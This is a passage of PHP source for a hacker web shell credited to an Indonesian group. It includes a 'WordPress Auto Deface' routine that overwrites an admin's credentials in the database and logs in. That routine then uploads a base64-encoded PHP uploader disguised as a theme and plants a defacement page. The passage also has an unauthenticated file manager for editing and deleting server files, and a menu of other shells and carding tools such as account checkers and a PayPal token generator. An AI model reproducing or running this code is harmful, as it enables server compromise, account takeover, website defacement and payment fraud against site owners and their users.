2834 $result = mysql_fetch_array($q);
2835 $id = $result[ID];
2836 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
2837 $result2 = mysql_fetch_array($q2);
2838 $target = $result2[option_value];
2839 if($target == '') {
2840 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
2841 } else {
2842 echo "[+] $target <br>";
2843 }
2844 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
2845 if(!$conn OR !$db OR !$update) {
2846 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
2847 mysql_close($conn);
2848 } else {
2849 $site = "$target/wp-login.php";
2850 $site2 = "$target/wp-admin/theme-install.php?upload";
2851 $b1 = anucurl($site2);
2852 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
2853 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
2854 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
2855 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
2856 $www = "m.php";
2857 $fp5 = fopen($www,"w");
2858 fputs($fp5,$upload3);
2859 $post2 = array(
2860 "_wpnonce" => "$anu2",
2861 "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
2862 "themezip" => "@$www",
2863 "install-theme-submit" => "Install Now",
2864 );
2865 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
2866 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2867 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2868 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
2869 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
2870 curl_setopt($ch, CURLOPT_POST, 1);
2871 curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
2872 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
2873 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
2874 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
2875 $data3 = curl_exec($ch);
2876 curl_close($ch);
2877 $y = date("Y");
2878 $m = date("m");
2879 $namafile = "id.php";
2880 $fpi = fopen($namafile,"w");
2881 fputs($fpi,$script);
2882 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
2883 curl_setopt($ch6, CURLOPT_POST, true);
2884 curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
2885 curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
2886 curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
2887 curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
2888 curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
2889 $postResult = curl_exec($ch6);
2890 curl_close($ch6);
2891 $as = "$target/k.php";
2892 $bs = anucurl($as);
2893 if(preg_match("#$script#is", $bs)) {
2894 echo "[+] <font color='lime'>berhasil mepes...</font><br>";
2895 echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
2896 } else {
2897 echo "[-] <font color='red'>gagal mepes...</font><br>";
2898 echo "[!!] coba aja manual: <br>";
2899 echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
2900 echo "[+] username: <font color=lime>$user</font><br>";
2901 echo "[+] password: <font color=lime>$pass</font><br><br>";
2902 }
2903 mysql_close($conn);
2904 }
2905 }
2906 } else {
2907 echo "<center><h1>WordPress Auto Deface V.2</h1>
2908 <form method='post'>
2909 Link Config: <br>
2910 <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
2911 <input type='text' name='script' height='10' size='50' placeholder='Hacked By 0x1999' required><br>
2912 <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
2913 </form></center>";
2914 }
2915} elseif($_GET['act'] == 'newfile') {
2916 if($_POST['new_save_file']) {
2917 $newfile = htmlspecialchars($_POST['newfile']);
2918 $fopen = fopen($newfile, "a+");
2919 if($fopen) {
2920 $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
2921 } else {
2922 $act = "<font color=red>permission denied</font>";
2923 }
2924 }
2925 echo $act;
2926 echo "<form method='post'>
2927 Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
2928 <input type='submit' name='new_save_file' value='Submit'>
2929 </form>";
2930} elseif($_GET['act'] == 'newfolder') {
2931 if($_POST['new_save_folder']) {
2932 $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
2933 if(!mkdir($new_folder)) {
2934 $act = "<font color=red>permission denied</font>";
2935 } else {
2936 $act = "<script>window.location='?dir=".$dir."';</script>";
2937 }
2938 }
2939 echo $act;
2940 echo "<form method='post'>
2941 Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
2942 <input type='submit' name='new_save_folder' value='Submit'>
2943 </form>";
2944} elseif($_GET['act'] == 'rename_dir') {
2945 if($_POST['dir_rename']) {
2946 $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
2947 if($dir_rename) {
2948 $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
2949 } else {
2950 $act = "<font color=red>permission denied</font>";
2951 }
2952 echo "".$act."<br>";
2953 }
2954 echo "<form method='post'>
2955 <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
2956 <input type='submit' name='dir_rename' value='rename'>
2957 </form>";
2958} elseif($_GET['act'] == 'delete_dir') {
2959 function Delete($path)
2960{
2961 if (is_dir($path) === true)
2962 {
2963 $files = array_diff(scandir($path), array('.', '..'));
2964 foreach ($files as $file)
2965 {
2966 Delete(realpath($path) . '/' . $file);
2967 }
2968 return rmdir($path);
2969 }
2970 else if (is_file($path) === true)
2971 {
2972 return unlink($path);
2973 }
2974 return false;
2975}
2976 $delete_dir = Delete($dir);
2977 if($delete_dir) {
2978 $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
2979 } else {
2980 $act = "<font color=red>could not remove ".basename($dir)."</font>";
2981 }
2982 echo $act;
2983} elseif($_GET['act'] == 'view') {
2984 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
2985 echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
2986} elseif($_GET['act'] == 'edit') {
2987 if($_POST['save']) {
2988 $save = file_put_contents($_GET['file'], $_POST['src']);
2989 if($save) {
2990 $act = "<font color=lime>Saved!</font>";
2991 } else {
2992 $act = "<font color=red>permission denied</font>";
2993 }
2994 echo "".$act."<br>";
2995 }
2996 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
2997 echo "<form method='post'>
2998 <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
2999 <input type='submit' value='Save' name='save' style='width: 500px;'>
3000 </form>";
3001} elseif($_GET['act'] == 'rename') {
3002 if($_POST['do_rename']) {
3003 $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
3004 if($rename) {
3005 $act = "<script>window.location='?dir=".$dir."';</script>";
3006 } else {
3007 $act = "<font color=red>permission denied</font>";
3008 }
3009 echo "".$act."<br>";
3010 }
3011 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
3012 echo "<form method='post'>
3013 <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
3014 <input type='submit' name='do_rename' value='rename'>
3015 </form>";
3016} elseif($_GET['act'] == 'delete') {
3017 $delete = unlink($_GET['file']);
3018 if($delete) {
3019 $act = "<script>window.location='?dir=".$dir."';</script>";
3020 } else {
3021 $act = "<font color=red>permission denied</font>";
3022 }
3023 echo $act;
3024}else {
3025 if(is_dir($dir) == true) {
3026 echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
3027 <tr>
3028 <th class="th_home"><center>Name</center></th>
3029 <th class="th_home"><center>Type</center></th>
3030 <th class="th_home"><center>Size</center></th>
3031 <th class="th_home"><center>Last Modified</center></th>
3032 <th class="th_home"><center>Permission</center></th>
3033 <th class="th_home"><center>Action</center></th>
3034 </tr>';
3035 $scandir = scandir($dir);
3036 foreach($scandir as $dirx) {
3037 $dtype = filetype("$dir/$dirx");
3038 $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
3039 if(!is_dir("$dir/$dirx")) continue;
3040 if($dirx === '..') {
3041 $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
3042 } elseif($dirx === '.') {
3043 $href = "<a href='?dir=$dir'>$dirx</a>";
3044 } else {
3045 $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
3046 }
3047 if($dirx === '.' || $dirx === '..') {
3048 $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
3049 } else {
3050 $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
3051
3052 }
3053 echo "<div id=content>";
3054 echo "<tr>";
3055 echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
3056 echo "<td class='td_home'><center>$dtype</center></td>";
3057 echo "<td class='td_home'><center>-</center></th>";
3058 echo "<td class='td_home'><center>$dtime</center></td>";
3059 echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
3060 echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
3061 }
3062 echo "</tr>";
3063 foreach($scandir as $file) {
3064 $ftype = filetype("$dir/$file");
3065 $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
3066 $size = filesize("$dir/$file")/1024;
3067 $size = round($size,3);
3068 if($size > 1024) {
3069 $size = round($size/1024,2). 'MB';
3070 } else {
3071 $size = $size. 'KB';
3072 }
3073 if(!is_file("$dir/$file")) continue;
3074 echo "<tr>";
3075 echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
3076 echo "<td class='td_home'><center>$ftype</center></td>";
3077 echo "<td class='td_home'><center>$size</center></td>";
3078 echo "<td class='td_home'><center>$ftime</center></td>";
3079 echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
3080 echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
3081 }
3082 echo "</tr></div></table>";
3083 } else {
3084 echo "<font color=red>can't open directory</font>";
3085 }
3086 }
3087#########################################################################
3088
3089echo "<center><hr><form>
3090<select onchange='if (this.value) window.open(this.value);'>
3091 <option selected='selected' value=''> Tools Creator </option>
3092 <option value='$ling=wso'>WSO 2.8.1</option>
3093 <option value='$ling=injection'>1n73ction v3</option>
3094 <option value='$ling=wk'>WHMCS Killer</option>
3095 <option value='$ling=adminer'>Adminer</option>
3096 <option value='$ling=b374k'>b374k Shell</option>
3097 <option value='$ling=b374k323'>b374k 3.2</option>
3098 <option value='$ling=bh'>BlackHat Shell</option>
3099 <option value='$ling=dhanus'>Dhanush Shell</option>
3100 <option value='$ling=r57'>R57 Shell</option>
3101<option value='$ling=encodedecode'>Encode Decode</option>
3102<option value='$ling=r57'>R57 Shell</option>
3103</select>
3104<select onchange='if (this.value) window.open(this.value);'>
3105 <option selected='selected' value=''> Tools Carder </option>
3106 <option value='$ling=extractor'>DB Email Extractor</option>
3107 <option value='$ling=promailerv2'>Pro Mailer V2</option>
3108 <option value='$ling=bukalapak'>BukaLapak Checker</option>
3109 <option value='$ling=tokopedia'>TokoPedia Checker</option>
3110 <option value='$ling=tokenpp'>Paypal Token Generator</option>
3111 <option value='$ling=mailer'>Mailer</option>
3112 <option value='$ling=gamestopceker'>GamesTop Checker</option>
3113 </select>
3114<noscript><input type='submit' value='Submit'></noscript>
3115</form>Copyright © ".date("Y")." - <a href='http://blog.garudasecurityhacker.org/' target='_blank'><font color=lime>Anazvr</font></a> </center><hr>";
3116
3117?>
3118</html>